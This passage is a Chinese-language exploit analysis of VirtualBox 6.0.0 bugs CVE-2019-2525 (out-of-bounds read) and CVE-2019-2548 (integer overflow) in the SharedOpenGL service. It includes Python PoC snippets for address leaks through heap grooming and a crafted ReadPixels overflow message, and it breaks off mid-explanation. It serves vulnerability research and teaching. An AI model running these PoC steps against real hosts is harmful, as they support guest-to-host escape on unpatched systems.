问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
VirtualBox CVE-2019-2525 和 CVE-2019-2548 漏洞利用分析
漏洞分析
VirtualBox CVE-2019-2525 和 CVE-2019-2548 漏洞利用分析 本文分为两部分内容: 详细介绍漏洞成因、利用思路和实现. 介绍如何定位和解决堆风水过程中遇到的问题. 相关代码: https://github....
VirtualBox CVE-2019-2525 和 CVE-2019-2548 漏洞利用分析 =============================================== 本文分为两部分内容: 1. 详细介绍漏洞成因、利用思路和实现. 2. 介绍如何定位和解决堆风水过程中遇到的问题. 相关代码: ```c https://github.com/hac425xxx/VirtualBox-6.0.0-Exploit-1-day ``` 环境搭建 ==== 环境信息: ```shell host: ubuntu 18.04.0 glibc 2.27 (VirtualBox-6.0.0 要求的 4.x 内核版本) guest: ubuntu 18.04.1 VirtualBox: 6.0.0 ``` 下载源码 ```shell https://download.virtualbox.org/virtualbox/6.0.0/VirtualBox-6.0.0.tar.bz2 ``` 安装依赖 ```shell sudo apt-get install gcc g++ bcc iasl xsltproc uuid-dev zlib1g-dev libidl-dev libsdl1.2-dev libxcursor-dev libasound2-dev libstdc++5 libpulse-dev libxml2-dev libxslt1-dev python-dev libqt4-dev qt4-dev-tools libcap-dev libxmu-dev mesa-common-dev libglu1-mesa-dev linux-kernel-headers libcurl4-openssl-dev libpam0g-dev libxrandr-dev libxinerama-dev libqt4-opengl-dev makeself libdevmapper-dev default-jdk texlive-latex-base texlive-latex-extra texlive-latex-recommended texlive-fonts-extra texlive-fonts-recommended build-essential libc6-dev-i386 libvpx-dev libopus-dev qttools5-dev-tools libssl-dev libqt5* # 这条命令不确定是否需要,和 virutalbox 的内核模块有关 sudo apt install --reinstall virtualbox-dkms ``` 编译 ```shell ./configure --disable-hardening ``` 然后根据 configure 的提示把用户态程序和内核模块编译,最后安装好内核模块即可. 启动命令 ```shell root@ubuntu:/home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin# ./VirtualBox ``` 启动虚拟机后 VirtualBoxVM 进程就是负责和虚拟机交互的进程,使用 gdb attach 上去就可调试本文涉及的漏洞. ```shell poc@ubuntu:~$ ps -ef | grep VirtualBox root 57078 123050 39 00:52 ? 00:01:12 /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin/VirtualBoxVM --comment escape --startvm caf1fb59-407a-447e-858a-6f9773fea30f --no-startvm-errormsgbox root 111205 1585 0 Mar25 ? 00:41:48 /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin/VBoxXPCOMIPCD root 123041 66228 0 Mar25 pts/0 00:39:58 ./VirtualBox root 123050 1585 1 Mar25 ? 01:26:20 /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin/VBoxSVC --auto-shutdown ``` Part1 漏洞利用分析 ============ 本节内容组织如下: 1. 首先分析 SharedOpenGL 模块中与漏洞利用相关的源码. 2. 然后分别分析两个漏洞的成因和利用方式. SharedOpenGL 模块分析 ----------------- 漏洞均位于 VirtualBox 的 SharedOpenGL 模块,虚拟机需要启用 3D 加速 VirtualBox 才会加载该模块(VBoxSharedCrOpenGL.so). ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-9ecc7ae3f19eb32705d77b969cf20110ea01577d.png) 配置正确后,gdb 调试虚拟机进程( `gdb attach $(pidof VirtualBoxVM)` )就可以找到 SharedOpenGL 模块对应线程(ShCrOpenGL) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-06d41805a83c37e8a1c23fce57918d75ddedcc3b.png) SharedOpenGL 模块注册了 HGCM 服务 (服务名 `VBoxSharedCrOpenGL` ),Guest OS 可以通过 HGCM 协议调用 `VBoxSharedCrOpenGL` 服务. ```c // src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp extern "C" DECLCALLBACK(DECLEXPORT(int)) VBoxHGCMSvcLoad (VBOXHGCMSVCFNTABLE *ptable) { int rc = VINF_SUCCESS; Log(("SHARED_CROPENGL VBoxHGCMSvcLoad: ptable = %p\n", ptable)); g_pHelpers = ptable->pHelpers; g_u32fCrHgcmDisabled = 0; ptable->cbClient = sizeof (void*); ptable->pfnUnload = svcUnload; ptable->pfnConnect = svcConnect; // 连接服务回调 ptable->pfnDisconnect = svcDisconnect; // 断开服务回调 ptable->pfnCall = svcCall; // guest call 回调 ptable->pfnHostCall = svcHostCall; ptable->pfnSaveState = svcSaveState; ptable->pfnLoadState = svcLoadState; ptable->pfnNotify = NULL; ptable->pvService = NULL; if (!crVBoxServerInit()) return VERR_NOT_SUPPORTED; crServerVBoxSetNotifyEventCB(svcNotifyEventCB); return rc; } ``` Guest OS 与 SharedOpenGL 模块的交互示意图如下: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-3023d8f7d33af15ef0afb2c0c7cc04e7d6ebf199.png) Guest OS 通过 PIO/MMIO 和 VirtualBox 通信,当 Guest OS 要调用 `VBoxSharedCrOpenGL` 服务的流程如下: 1. 通过 `hgcm_connect` 和 `VBoxSharedCrOpenGL` 服务建立连接,获取 client 句柄 2. 然后调用 `hgcm_call` 请求 `VBoxSharedCrOpenGL` 服务 3. 服务结束后调用 `hgcm_disconnect` 释放连接. 整个过程涉及 VirtualBox 中三个线程的交互: EMT-1 Thread (模拟PIO交互)、MainHGCMthread (HGCM 服务管理线程)、ShCrOpenGL(`VBoxSharedCrOpenGL` 服务线程). Guest OS 调用 `hgcm_connect` 和 `hgcm_disconnect` 与 `VBoxSharedCrOpenGL` 服务交互时的流程如下: 1. 首先 Guest OS 会通过 `PIO/MMIO` 触发 EMT-1 线程的回调,然后会进入 `HGCMGuestConnect/HGCMGuestDisconnect`. 2. `EMT-1` 线程组装 `HGCM_MSG_CONNECT/HGCM_MSG_DISCONNECT` 消息,然后把消息放到 MainHGCMthread 线程的消息队列 3. MainHGCMthread 线程从消息队列中取出消息,然后找到对应服务,组装 `SVC_MSG_CONNECT/SVC_MSG_DISCONNECT` 消息 4. 最后把消息放到 `ShCrOpenGL` 线程的消息队列. 5. `ShCrOpenGL` 线程从消息队列中取出消息进行处理. 6. `ShCrOpenGL` 线程调用服务的 **pSvc->m\_fntable.pfnConnect/pSvc->m\_fntable.pfnDisconnect** 回调函数. Guest OS 调用 `hgcm_call` 与 `VBoxSharedCrOpenGL` 服务交互时的流程如下: 1. 首先 Guest OS 会通过 `PIO/MMIO` 触发 EMT-1 线程的回调并传入**服务句柄(**`hgcm_connect`**)**,然后会进入 `HGCMGuestCall` . 2. `EMT-1` 线程组装 `SVC_MSG_GUESTCALL` 消息,然后根据服务句柄找到服务对象,并将消息放入 `ShCrOpenGL` 线程的消息队列. 3. `ShCrOpenGL` 线程从消息队列中取出消息进行处理. 4. `ShCrOpenGL` 线程调用服务的 **pSvc->m\_fntable.pfnCall** 回调函数 下面结合源码对上述流程进行分析。 ### 服务交互源码分析 #### 连接服务 Guest 对 `VBoxSharedCrOpenGL` 服务发起 connect 请求时,ShCrOpenGL 线程会调用 svcConnect. ```c // src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp static DECLCALLBACK(int) svcConnect (void *, uint32_t u32ClientID, void *pvClient, uint32_t fRequestor, bool fRestoring) { int rc = crVBoxServerAddClient(u32ClientID); return rc; } ``` 调用 crVBoxServerAddClient 分配 client 并将其和 u32ClientID 关联. ```c CRConnection * crNetAcceptClient( const char *protocol, const char *hostname, unsigned short port, unsigned int mtu, int broker ) { CRConnection *conn; conn = (CRConnection *) crCalloc( sizeof( *conn ) ); // 初始化 conn 结构体 } int32_t crVBoxServerAddClient(uint32_t u32ClientID) { CRClient *newClient; newClient = (CRClient *) crCalloc(sizeof(CRClient)); newClient->conn = crNetAcceptClient(cr_server.protocol, NULL, cr_server.tcpip_port, cr_server.mtu, 0); newClient->conn->u32ClientID = u32ClientID; cr_server.clients[cr_server.numClients++] = newClient; crServerAddToRunQueue(newClient); return VINF_SUCCESS; } ``` 主要就是调用 crCalloc 分配了 CRClient 和 CRConnection 两个结构体,crCalloc 实际就是调用 libc 的 malloc + memset. Guest 调用 [hgcm\_connect ](https://github.com/niklasb/3dpwn/blob/master/lib/hgcm.py#L122)可以连接服务并获取到 client id. ```c client = hgcm_connect("VBoxSharedCrOpenGL") ``` #### 断开服务 Guest 调用 [hgcm\_disconnect ](https://github.com/niklasb/3dpwn/blob/master/lib/hgcm.py#L186)关闭服务连接 ```c hgcm_disconnect(client) ``` 之后 ShCrOpenGL 线程会调用 svcDisconnect. ```c // src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp static DECLCALLBACK(int) svcDisconnect (void *, uint32_t u32ClientID, void *pvClient) { int rc = VINF_SUCCESS; crVBoxServerRemoveClient(u32ClientID); return rc; } ``` crVBoxServerRemoveClient 最终会调用 `crServerDeleteClient` 释放 `CRClient` 和 `CRConnection` . #### 使用服务 Guest 调用 [hgcm\_call](https://github.com/niklasb/3dpwn/blob/master/lib/hgcm.py#L215) 调用具体的服务,下面以 SHCRGL\_GUEST\_FN\_WRITE\_BUFFER 为例,介绍处理流程: ```c def alloc_buf(client, sz, msg='a'): buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg]) return buf ``` hgcm\_call 的参数说明如下: - 参数1: client id,通过 hgcm\_connect 获取. - 参数2:请求的服务 ID - 参数3:数组,数组成员有两种类型(数值和 str),传递给 HGCM 服务的参数,其中 数值型参数直接传递,str 类型参数会触发 VirtualBox 侧的内存分配,然后拷贝内容到新申请的内存. 假设 Guest 调用 alloc\_buf 尝试在 VirtualBox 进程中申请一块内存: ```c alloc_buf(client, 0x100, 'bbbbbbbb') ``` 经过消息的传递,ShCrOpenGL 线程会调用 svcCall 处理服务请求. ```c // src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp static DECLCALLBACK(void) svcCall (void *, VBOXHGCMCALLHANDLE callHandle, uint32_t u32ClientID, void *pvClient, uint32_t u32Function, uint32_t cParms, VBOXHGCMSVCPARM paParms[], uint64_t tsArrival) { switch (u32Function) { case SHCRGL_GUEST_FN_WRITE_BUFFER: { /* Fetch parameters. */ uint32_t iBuffer = paParms[0].u.uint32; uint32_t cbBufferSize = paParms[1].u.uint32; uint32_t ui32Offset = paParms[2].u.uint32; uint8_t *pBuffer = (uint8_t *)paParms[3].u.pointer.addr; uint32_t cbBuffer = paParms[3].u.pointer.size; /* Execute the function. */ CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, cbBufferSize); memcpy((void*)((uintptr_t)pSvcBuffer->pData+ui32Offset), pBuffer, cbBuffer); paParms[0].u.uint32 = pSvcBuffer->uiId; break; } } ``` 首先从 paParms 里面取出参数: - iBuffer = 0 - cbBufferSize = 0x100 - ui32Offset = 0 - pBuffer = "bbbbbbbb" cbBuffer = 8 然后 svcGetBuffer 申请内存并通过 memcpy 拷贝数据,最后设置返回值为 buffer 的 id. paParms 在 vmmdevHGCMCall 函数中分配并初始化,调用栈如下: ```c (gdb) bt #0 iface_hgcmCall #1 vmmdevHGCMCall // 分配 paParms #2 vmmdevReqHandler_HGCMCall #3 vmmdevReqDispatcher #4 vmmdevRequestHandler #5 IOMIOPortWrite #6 IOMR3ProcessForceFlag #7 emR3HighPriorityPostForcedActions #8 emR3HmExecute #9 EMR3ExecuteVM #10 in vmR3EmulationThreadWithId ``` vmmdevHGCMCall 初始化请求参数的主要逻辑如下: - vmmdevHGCMCallAlloc 分配 pCmd 里面保存请求相关信息,包括请求参数。 - vmmdevHGCMCallFetchGuestParms 往 pCmd->u.call.paGuestParms 数组填参数值. - vmmdevHGCMInitHostParameters 把 paGuestParms 的参数复制到 pCmd->u.call.paHostParms,对于缓冲区类型的参数,会申请内存(`RTMemAllocZ(cbData)`)+拷贝数据. - 调用回调函数 (`svcCall`)时传入参数 pCmd->u.call.paHostParms ### 漏洞相关源码分析 Guest 可以通过 SHCRGL\_GUEST\_FN\_WRITE\_READ\_BUFFERED 命令让 VirtualBox 解析 Guest 提供的 TLV 数据,本文的漏洞都是在解析这些 TLV 数据时,没有小心使用数据导致的漏洞. VirtualBox 处理 SHCRGL\_GUEST\_FN\_WRITE\_READ\_BUFFERED 请求时,首先根据 iBuffer 找到 buffer,然后 `crVBoxServerClientWrite --> crUnpack` 会解析 pSvcBuffer 中的数据 ```c crVBoxServerClientWrite crVBoxServerInternalClientWriteRead crServerServiceClients crServerDispatchMessage crUnpack ``` crUnpack 通过 unpack.py 生成,生成后的代码位于 `out/linux.amd64/release/obj/VBoxOGLgen/unpack.c` ,主体逻辑如下: ```c void crUnpack( const void *data, const void *data_end, const void *opcodes, unsigned int num_opcodes, SPUDispatchTable *table ) { unpack_opcodes = (const unsigned char *)opcodes; cr_unpackData = (const unsigned char *)data; cr_unpackDataEnd = (const unsigned char *)data_end; for (i = 0; i < num_opcodes; i++) { switch( *unpack_opcodes ) { case CR_ALPHAFUNC_OPCODE: crUnpackAlphaFunc(); break; case CR_ARRAYELEMENT_OPCODE: crUnpackArrayElement(); break; case CR_BEGIN_OPCODE: crUnpackBegin(); break; ``` 调用栈如下 ```c Thread 17 "ShCrOpenGL" hit Breakpoint 1, crUnpack at /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/obj/VBoxOGLgen/unpack.c:1692 1692 { (gdb) bt #0 crUnpack #1 crServerDispatchMessage #2 crServerServiceClient #3 crServerServiceClients #4 crVBoxServerInternalClientWriteRead #5 crVBoxServerClientWrite #6 svcCall #7 hgcmServiceThread #8 hgcmWorkerThreadFunc ``` crUnpack 函数先设置 cr\_unpackData 和 cr\_unpackDataEnd 全局变量使其指向 Guest 提供的数据,然后进入一个 switch 语句对不同类型的 opcode 进行处理,后续的数据处理就会从 cr\_unpackData 中获取数据并解析. CVE-2019-2525 越界读漏洞 ------------------- ### 漏洞成因 crUnpackExtendGetAttribLocation 解析数据时从数据包中取出 packet\_length ,没有校验后面就拿来当作数组偏移去拷贝数据. ```c void crUnpackExtendGetAttribLocation(void) { int packet_length = READ_DATA(0, int); GLuint program = READ_DATA(8, GLuint); const char *name = DATA_POINTER(12, const char); SET_RETURN_PTR(packet_length-16); SET_WRITEBACK_PTR(packet_length-8); cr_unpackDispatch.GetAttribLocation(program, name); } ``` READ\_DATA 就是从 cr\_unpackData 里面取数据,其数据来自与 Guest 的 HGCM 请求,宏定义如下 ```c #define READ_DATA( offset, type ) \ *( (const type *) (cr_unpackData + (offset))) ``` 漏洞在于 packet\_length 没有校验,导致后面 SET\_RETURN\_PTR 和 SET\_WRITEBACK\_PTR 会越界拷贝数据到 return\_ptr 和 writeback\_ptr 指针中. ```c #define SET_RETURN_PTR( offset ) do { \ CRDBGPTR_CHECKZ(return_ptr); \ crMemcpy( return_ptr, cr_unpackData + (offset), sizeof( *return_ptr ) ); \ } while (0); #define SET_WRITEBACK_PTR( offset ) do { \ CRDBGPTR_CHECKZ(writeback_ptr); \ crMemcpy( writeback_ptr, cr_unpackData + (offset), sizeof( *writeback_ptr ) ); \ } while (0); ``` return\_ptr 和 writeback\_ptr 的数据会在 crServerDispatchGetAttribLocation 返回给 Guest。 调用 crServerDispatchGetAttribLocation 时的调用栈如下: ```c (gdb) bt #2 0x00007f565782667f in crServerDispatchGetAttribLocation (program=<optimized out>, name=0x7f564833579c "") at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_glsl.c:127 #3 0x00007f56578b1fec in crUnpackExtend () at /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/obj/VBoxOGLgen/unpack.c:6034 #4 0x00007f56578b29ed in crUnpack (data=data@entry=0x7f5648335790, data_end=data_end@entry=0x7f5648336780, opcodes=opcodes@entry=0x7f564833578f, num_opcodes=<optimized out>, table=table@entry=0x7f5657b039d0 <cr_server+13008>) at /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/obj/VBoxOGLgen/unpack.c:4109 #5 0x00007f5657829f09 in crServerDispatchMessage (cbMsg=4096, msg=0x7f5648335780, conn=0x7f56482eee80) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:681 #6 0x00007f5657829f09 in crServerServiceClient (qEntry=0x7f568c016170, qEntry=0x7f568c016170) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:817 #7 0x00007f5657829f09 in crServerServiceClients () at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:872 #8 0x00007f565781199d in crVBoxServerInternalClientWriteRead (pClient=0x7f56482f5510) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:758 #9 0x00007f56578159b3 in crVBoxServerClientWrite (u32ClientID=u32ClientID@entry=13, pBuffer=0x7f5648335780 "\001LGwAAAA\001", cbBuffer=4096) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:792 #10 0x00007f5657804cec in svcCall(void*, VBOXHGCMCALLHANDLE, uint32_t, void*, uint32_t, uint32_t, VBOXHGCMSVCPARM*, uint64_t) (callHandle=0x7f56652cb730, u32ClientID=13, pvClient=<optimized out>, u32Function=<optimized out>, cParms=<optimized out>, paParms=0x7f5604a1ad60, tsArrival=500380665376343) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:740 #11 0x00007f569a670e6f in hgcmServiceThread(HGCMThread*, void*) (pThread=0x7f5658003ae0, pvUser=0x7f5658003980) at /home/poc/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCM.cpp:706 #12 0x00007f569a66ed5f in hgcmWorkerThreadFunc(RTTHREAD, void*) (hThreadSelf=<optimized out>, pvUser=0x7f5658003ae0) at /home/poc/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:200 #13 0x00007f56baff259c in rtThreadMain(PRTTHREADINT, RTNATIVETHREAD, char const*) (pThread=pThread@entry=0x7f5658003d10, NativeThread=NativeThread@entry=140008815646464, pszThreadName=pszThreadName@entry=0x7f56580045f0 "ShCrOpenGL") at /home/poc/VirtualBox-6.0.0/src/VBox/Runtime/common/misc/thread.cpp:719 #14 0x00007f56bb0a562a in rtThreadNativeMain(void*) (pvArgs=0x7f5658003d10) at /home/poc/VirtualBox-6.0.0/src/VBox/Runtime/r3/posix/thread-posix.cpp:327 #15 0x00007f56b7a476db in start_thread (arg=0x7f5657b8d700) at pthread_create.c:463 #16 0x00007f56b867161f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 ``` ### 漏洞利用 packet\_length 是 int 类型,因此我们可以向前或者向后越界,越界的范围为 int 的取值范围,被越界的缓冲区为 pSvcBuffer->pData . ```c CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, 0); uint8_t *pBuffer = (uint8_t *)pSvcBuffer->pData; uint32_t cbBuffer = pSvcBuffer->uiSize; ``` pSvcBuffer->pData 为 Guest 通过 SHCRGL\_GUEST\_FN\_WRITE\_BUFFER 命令分配大小可控. 下面介绍如何利用越界读泄露 VBoxSharedCrOpenGL.so 和 VBoxOGLhostcrutil.so 的地址. 在 Guest 连接 `VBoxSharedCrOpenGL` 服务时会分配 CRClient 和 CRConnection 结构体,这两个结构体中分别存放了VBoxSharedCrOpenGL.so 和 VBoxOGLhostcrutil.so 的地址,因此通过布局让这两个结构体位于 pSvcBuffer->Data 的前后,然后触发越界读即可泄露出需要的地址。 crVBoxServerAddClient 在新建 client 结构体后会将 cr\_server 的地址放到 newClient->currentCtxInfo , cr\_server 位于 VBoxSharedCrOpenGL.so 中. ```c int32_t crVBoxServerAddClient(uint32_t u32ClientID) { CRClient *newClient; newClient = (CRClient *) crCalloc(sizeof(CRClient)); newClient->spu_id = 0; newClient->currentCtxInfo = &cr_server.MainContextInfo; ``` 由于越界读漏洞的触发不会对系统稳定性造成影响,理论上可以无限次尝试,所以 poc 代码中泄露地址这块写的比较简单. ```python leak_success = False; while not leak_success: for i in range(0, 10): print("Connect VBoxSharedCrOpenGL.") leak_client = hgcm_connect("VBoxSharedCrOpenGL") hgcm_disconnect(leak_client) msg = make_leak_msg(0x100000000-0x9b8) result = crmsg(client, msg) if "\x7f\x00\x00" in result: leak = unpack('<Q', result[16:24])[0] print("leak: {}".format(hex(leak))) if (leak%0x1000 == 0x170): leak_success = True break ``` 大概思路: 1. 通过多次 hgcm\_connect + hgcm\_disconnect 在堆上分配多个 CRClient 对象 - 由于所有 **client->pid 为 0**,所以在 crVBoxServerRemoveClient 中释放 CRClient 时会把 CRClient 放到一个链表中 - 等所有 client 退出后才会调用 free 释放 CRClient 内存. - POC 中一开始初始化了一个全局 client,所以这步操作后堆上会**有多个待释放的 CRClient**. 2. 然后触发漏洞在 CRClient 的后面分配 pSvcBuffer->pData,然后向前越界读获取 CRCClient 对象的** cr\_server 指针** - crmsg 有三个参数:client、 msg、 bufsz,第三个参数默认为 0x1000 - 首先会通过 SHCRGL\_GUEST\_FN\_WRITE\_BUFFER 分配大小为 `bufsz` 的 pSvcBuffer->pData,然后把 msg 的数据拷贝进去 - 然后通过 SHCRGL\_GUEST\_FN\_WRITE\_READ\_BUFFERED 进入 crUnpackExtendGetAttribLocation 触发漏洞. - 因此这一步分配的 pSvcBuffer->pData 的大小为 **0x1000**. 3. 如果获取失败,说明堆布局有问题,回到第一步继续尝试. ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-17959d71ee2be2de49e8bdec345bb37e83dc29ed.png) 泄露 CRConnection 结构体会稍微复杂一些,相关代码如下: ```python leak_clients = [] leak_success = False; while not leak_success: msg = nop_msg() buf_ids = [] for i in range(60): buf_ids.append(alloc_buf(client, 0x298, msg)) for i in range(0, 15): leak_client = hgcm_connect("VBoxSharedCrOpenGL") leak_clients.append(leak_client) msg = make_leak_msg(0x100000000-0x9f0 + 0x10) result = crmsg(client, msg, 0x298) for idx in buf_ids: hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x298, 0]) for leak_client in leak_clients: try: hgcm_disconnect(leak_client) except: pass if "\x7f\x00\x00" in result: leak = unpack('<Q', result[16:24])[0] if (leak%0x1000 == 0x9d0): leak_success = True break ``` 大概思路: 1. CRConnection 结构体的大小为 0x298 字节,首先通过 alloc\_buf 申请 60 个 0x298 的 pSvcBuffer->pData,消耗 arena 中不连续的 0x298 chunk. 2. 通过 hgcm\_connect 分配 15 个 CRConnection 结构体,期望此时各个 CRConnection 结构体虚拟地址连续 3. 同 crmsg 触发漏洞,触发漏洞的 pSvcBuffer->pData 的大小也为 0x298,期望 **pData 和 CRConnection 挨着**,然后往前越界读获取 **VBoxOGLhostcrutil.so 的地址**. 4. 如果泄露失败,回到第 1 步重试. ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-fbeac26421419beb9b4cc0a4a5456954f40e05da.png) 通过 之前的介绍\[^1\] 可知,Guest OS 和 `VBoxSharedCrOpenGL` 服务通信会涉及三个线程的通信,这其中又会涉及不同线程的多次内存申请和释放,这些其他线程内存申请和释放会对堆布局产生影响吗?答案是可能会,但是对于 VirtualBox 来说\*\*\*\*\*基本没影响。 VirtualBox 实际会调用 glibc 的 malloc、free 等函数进行内存的申请和释放,glibc 使用 arena (`struct malloc_state`)来管理内存,我们比较熟悉的可能是 main\_arena,在多线程进程中 glibc 会再根据 CPU 核数分配若干个 dynamic arena,这些 arena 通过双向链表相互关联,如下图所示: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-6571b7cb6e61f433b546a4fb8092912df924ffb9.png) 每个线程会在其 TLS 里面存放 thread arena 的指针,然后内存的申请/释放都会对 thread arena 进行操作(bin 的管理),如果在 thread arena 中申请内存失败,会根据双向链表,找下一个 arena,然后再次尝试申请内存. 因此当 dynamic arena 数量少于线程数量或者在当前 thread arena 中内存申请失败时 就有可能涉及多个线程共用一个 arena,这种情况下就有可能导致堆布局不稳定. 经过一些测试,ShCrOpenGL 线程的 arena 被其他线程使用的频率很低,堆布局是比较稳定的,因为触发漏洞的内存(pSvcBuffer->pData)是在 ShCrOpenGL 线程中申请,因此选用的 victim 对象、布局对象也应该在 ShCrOpenGL 线程中申请(使用同一个 arena),CRClient 和 CRConnection 结构体满足这个条件. CVE-2019-2548 整数溢出漏洞 -------------------- ### 漏洞成因 漏洞位于 crServerDispatchReadPixels 函数: ```c void crServerDispatchReadPixels(GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, GLvoid *pixels) { const GLint stride = READ_DATA( 24, GLint ); const GLint alignment = READ_DATA( 28, GLint ); const GLint skipRows = READ_DATA( 32, GLint ); const GLint skipPixels = READ_DATA( 36, GLint ); const GLint bytes_per_row = READ_DATA( 40, GLint ); const GLint rowLength = READ_DATA( 44, GLint ); CRMessageReadPixels *rp; uint32_t msg_len; if (bytes_per_row < 0 || bytes_per_row > UINT32_MAX / 8 || height > UINT32_MAX / 8) { return; } msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height; rp = (CRMessageReadPixels *) crAlloc( msg_len ); cr_server.head_spu->dispatch_table.ReadPixels(x, y, width, height, format, type, rp + 1); rp->header.type = CR_MESSAGE_READ_PIXELS; rp->width = width; rp->height = height; rp->bytes_per_row = bytes_per_row; rp->stride = stride; rp->format = format; rp->type = type; rp->alignment = alignment; rp->skipRows = skipRows; rp->skipPixels = skipPixels; rp->rowLength = rowLength; /* <pixels> points to the 8-byte network pointer */ crMemcpy( &rp->pixels, pixels, sizeof(rp->pixels) ); crNetSend( cr_server.curClient->conn, NULL, rp, msg_len ); crFree( rp ); ``` 函数会使用 bytes\_per\_row 和 height 计算 msg\_len ```c msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height; ``` CRMessageReadPixels 结构体大小为 0x38 字节,bytes\_per\_row 和 height 的最大取值均为 0x1fffffff,当 bytes\_per\_row = 0x1ffffffd, height = 8 时,**msg\_len 为 0x20**。 然后后面 crMemcpy 时就会**往 rp + 0x30 的位置写入 8 字节,而 rp 的实际内存大小只有 0x20 字节**. 对应 poc 如下 ```c def make_readpixels_msg(uiId, uiSize): msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes + "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode + pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type + pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen ) return msg ``` 主要就是控制 `bytes_per_row = 0x1ffffffd, height = 8` ,且 pixels 为 `uiId, uiSize`. 分配 rp 时的寄存器状态(size 为 0x20) ```plaintext (gdb) 59 rp = (CRMessageReadPixels *) crAlloc( msg_len ); rax 0x20 32 rbx 0x1ffffffd 536870909 rcx 0x7fd2b212b320 140542907429664 rdx 0x0 0 rsi 0x88eb 35051 rdi 0x20 32 rbp 0x7fd26a05fb80 0x7fd26a05fb80 rsp 0x7fd26a05fb20 0x7fd26a05fb20 r8 0x35 53 r9 0x0 0 r10 0x1 1 r11 0x7fd24c213f40 140541197107008 r12 0x8 8 r13 0x0 0 r14 0x35 53 r15 0x7fd24c2f4160 140541198025056 rip 0x7fd269cfd381 0x7fd269cfd381 <crServerDispatchReadPixels+257> eflags 0x213 [ CF AF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 k0 0x0 0 k1 0x0 0 k2 0x0 0 k3 0x0 0 k4 0x0 0 k5 0x0 0 k6 0x0 0 k7 0x0 0 => 0x7fd269cfd381 <crServerDispatchReadPixels+257>: call 0x7fd269cd48b0 <crAlloc@plt> 0x7fd269cfd386 <crServerDispatchReadPixels+262>: test rax,rax 0x7fd269cfd389 <crServerDispatchReadPixels+265>: je 0x7fd269cfd474 <crServerDispatchReadPixels+500> 0x7fd269cfd38f <crServerDispatchReadPixels+271>: lea rsi,[rip+0x2d636a] # 0x7fd269fd3700 <cr_server> (gdb) ``` ### 漏洞利用 前面提到\[^2\] Guest 可以通过 `SHCRGL_GUEST_FN_WRITE_BUFFER` 命令分配 pSvcBuffer 并往里面写数据,其分配相关代码如下: ```c pBuffer = (CRVBOXSVCBUFFER_t*) RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t)); pBuffer->pData = RTMemAlloc(cbBufferSize); pBuffer->uiId = ++g_CRVBoxSVCBufferID; pBuffer->uiSize = cbBufferSize; pBuffer->pPrev = NULL; pBuffer->pNext = g_pCRVBoxSVCBuffers; g_pCRVBoxSVCBuffers = pBuffer; return pBuffer; ``` 首先分配一个 `CRVBOXSVCBUFFER_t` 结构体,然后分配 `pBuffer->pData`,pData 的 size 由 Guest 指定, `CRVBOXSVCBUFFER_t` 的结构体布局如下: ```c (gdb) ptype /o CRVBOXSVCBUFFER_t type = struct _CRVBOXSVCBUFFER_t { /* 0 | 4 */ uint32_t uiId; /* 4 | 4 */ uint32_t uiSize; /* 8 | 8 */ void *pData; /* 16 | 8 */ _CRVBOXSVCBUFFER_t *pNext; /* 24 | 8 */ _CRVBOXSVCBUFFER_t *pPrev; /* total size (bytes): 32 */ } ``` 结构体中字段的作用: - uiId:buffer 的标识符, VirtualBox 根据 uiId 找到需要操作的 buffer. - uiSize: pData 的内存大小,主要用于限制 Guest 对 pData 的写入数据大小. - pData: 存放 Guest 写入的数据. 通过溢出修改 `CRVBOXSVCBUFFER_t` 的 uiSize 为 `0xffffffff`,后面通过 `SHCRGL_GUEST_FN_WRITE_BUFFER` 往 pData 中写数据时就能将受限溢出转换为 任意字节溢出(最大值为 `0xffffffff` 